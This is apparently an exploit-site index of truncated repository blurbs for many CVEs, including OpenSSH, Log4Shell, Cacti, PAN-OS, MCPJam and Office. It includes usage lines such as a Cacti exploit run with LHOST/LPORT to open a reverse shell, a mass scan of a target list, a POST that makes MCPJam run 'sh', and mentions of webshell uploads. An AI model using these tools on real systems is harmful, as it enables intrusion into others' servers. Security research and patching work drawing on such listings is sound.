DBI: DBI: Buffer overflow in error handling can lead to arbitrary code execution

A flaw was found in DBI, a Perl database interface. This vulnerability allows an attacker to trigger a buffer overflow by manipulating error messages within an application. When specific error handling options are active, an attacker can provide oversized error text, which may lead to arbitrary...

DBI: DBI: Arbitrary code execution via caller-influenced Profile attribute

A flaw was found in the DBI component for Perl. This vulnerability allows an attacker to inject and execute arbitrary code by manipulating the Profile attribute of a DBI handle. When a string is assigned to this attribute, the component processes it without proper validation, enabling the executi...

cve-2022-29464

cve-2022-29464 免责声明 root@kitploit: 脚本仅供学习参考，请勿恶意攻击他人网站 如违法乱纪，造成一切后果由使用者自行承担 技术无罪，与作者无关 使用脚本默认同意以上说明！ --Author:lowkey0808 使用方法 root@kitploit: usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help message and exit -u 目标url -s 上传的木马,默认上传内置shell.jsp 可直接命令执行 可上传webshell...

perl-DBI: perl-DBI: Heap overflow in SQL preparsing can lead to denial of service or arbitrary code execution.

A flaw was found in perl-DBI. A heap overflow vulnerability exists when preparsing SQL statements with more than 9 binders. The preparse method incorrectly allocates buffer space for SQL placeholder characters, leading to an overflow when processing binders with two or more digits. This can resul...

WinRAR-Code-Execution-Vulnerability-CVE-2023-38831

理解 WinRAR 代码执行漏洞 CVE-2023-38831 概述：Part-1...

CVE-2024-6387

0. TL;DR This is essentially a statistical vulnerability: it requires a large number of attempts to win the race condition and successfully execute arbitrary code. Attackers need to overcome many obstacles, "Schwartz told SecurityWeek." Even in the best case, the most well-known vulnerabilities...

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 本仓库从 Defender 视角讨论 Follina MSDT 漏洞 目录 关于 时间线 理解漏洞利用 IOC 列表 检测策略 测试与研究 缓解方案 参考 关于 该漏洞是 Microsoft Windows 支持诊断工具 MSDT 的远程代码执行漏洞，由 Shadow Chaser Group 的 crazyman 报告。Microsoft 现已将其跟踪为 CVE-2022-30190。该漏洞影响所有仍在接收安全更新的 Windows 版本（Windows 7+ 及 Server 2008+）。 正如安全研究员 naosec...

CVE-2019-16692

CVE-2019-16692 Código de exploit para CVE-2019-16692, una vulnerabilidad de phpIPAM...

CVE-2024-6387_poc

CVE-2024-6387 概念验证（PoC） 描述 此仓库包含针对 CVE-2024-6387 漏洞的 PoC，该漏洞针对基于 glibc 的 Linux 系统上 OpenSSH 服务器（sshd）中的信号处理器竞争条件。该漏洞通过调用 SIGALRM 处理器中异步信号不安全的函数，允许以 root 权限远程执行代码。 克隆该仓库并使用： root@kitploit: git clone https://github.com/jocker2410/CVE-2024-6387poc.git && cd CVE-2024-6387poc adapt the ip-addr.list fil...

Log4j-Vulnerability

Log4j 漏洞 教程：https://youtu.be/PNDBjoT83zA 教程：https://cryptodeeptech.ru/log4j-vulnerability Log4j 背景 阿里巴巴云安全团队公开披露了一个严重漏洞 CVE-2021-44228，该漏洞可在多个版本的 Apache Log4j2 Log4Shell 上实现未经身份验证的远程代码执行。攻击者可通过任何协议（如 HTTPS）连接易受攻击的服务器，并发送特制字符串进行利用。 Log4j 加密货币挖矿攻击活动 Darktrace 在多个客户部署环境中检测到因利用此 Log4j...

CVE-2019-15107

Aplicaciones Webmin para versiones 1.890 e inferiores son vulnerables a Ejecución Remota de Código no Autenticada. CVE-2019-15107. Referencia : https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

mcp-pwn

CVE-2026-23744 — MCPJam 未授权远程代码执行 概述 MCPJam 是一个开源的 MCP（模型上下文协议）检查器和代理，用于连接、调试和管理 MCP 服务器。版本 = 1.4.3 攻击向量| 网络 — 无需认证 披露日期| 2026-01-15 技术分析 存在漏洞的端点接受未经验证的 JSON POST 请求： root@kitploit: POST /api/mcp/connect HTTP/1.1 Host: :3000 Content-Type: application/json "serverConfig": "command": "sh", "args":...

sunlogin_rce

前言 没啥好说的,直接放工具和有漏洞的版本吧,大家本地玩玩很不错，切勿用于非法测试。 测试向日葵客户端漏洞版本:11.0.0.33162 漏洞客户端在源码中提供. 端口扫描用的是:https://github.com/jboursiquot/portscan 漏洞版本根据反馈获得 11.1.1 10.3.0.27372 11.0.0.33162 命令说明 -h 指定目标 -t 选择扫描或者命令执行 默认scan -p 设置扫描端口范围 默认4w到65535 -c 需要执行的命令 相关截图 扫描 rce 时间 20220216 From https://github.com/TRYblog...

CVE-2024-4577

CVE-2024-4577 漏洞检查器 该脚本用于检查 CVE-2024-4577 所描述的漏洞，该漏洞涉及利用某些 PHP 配置在远程执行任意代码。它会向指定域列表中的端点发送 POST 请求，并检查响应是否表明存在漏洞。 使用说明 1. 安装 GNU Parallel： root@kitploit: sudo apt-get install parallel 2. 克隆仓库： 使用 Git 将此仓库克隆到本地计算机： root@kitploit: git clone https://github.com/Yukiioz/CVE-2024-4577.git 3. 进入仓库目录：...

CVE-2024-3400

CVE-2024-3400 PoC 仅用于教育目的。只能在获得授权测试的服务器上使用。 使用方法 依赖： root@kitploit: $ pip install rich 扫描 targets.txt： root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... - Polling 36... - Checking...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 此漏洞利用程序是基于 @FredBrave 原始脚本的修改版本，并由 @arthurcortesr 和 @alv-david 进行了改编。 使用/示例 root@kitploit: python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X 预期结果 root@kitploit: Testing hostid=X, localdataid=XX... + Found working combination:...

CVE-2021-40444-exp

CVE-2021-40444 PoC 利用 CVE-2021-40444（Microsoft Office Word 远程代码执行）的恶意 docx 生成器 此脚本的创建基于对在野使用样本的部分逆向工程：938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52（docx 文件） 首先需要安装 lcab（sudo apt-get install lcab） 查看 REPRODUCE.md 获取手动复现步骤 如果生成的 cab 无法工作，请尝试将 exploit.html URL 指向 calc.cab 使用 首先根据给...

CVE-2025-70994

CVE-2025-70994: Autenticación Débil en la Bicicleta Eléctrica Yadea T5 !WARNING Este repositorio se publica estrictamente con fines educativos y de investigación académica en seguridad. La información y el código de prueba de concepto aquí proporcionados tienen como objetivo demostrar una falla...

PoC-CVE-2025-55182

Le script exploite la CVE-2025-55182, un RCE qui affecte les composants serveur React utilisés dans React.js et Next.js. Versions de React concernées : 19.0.0 19.1.0 et 19.1.1 19.2.0 Next.js : Next.js 15.x toutes les versions antérieures aux correctifs Next.js 16.0.0 versions alpha/bêta/RC...

CVE-2023-46017-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

CVE-2023-46017-Code-Projects血库1.0 SQL注入漏洞 漏洞利用作者：ersinerenler 厂商主页 https://code-projects.org/blood-bank-in-php-with-source-code 软件链接 https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip 概述...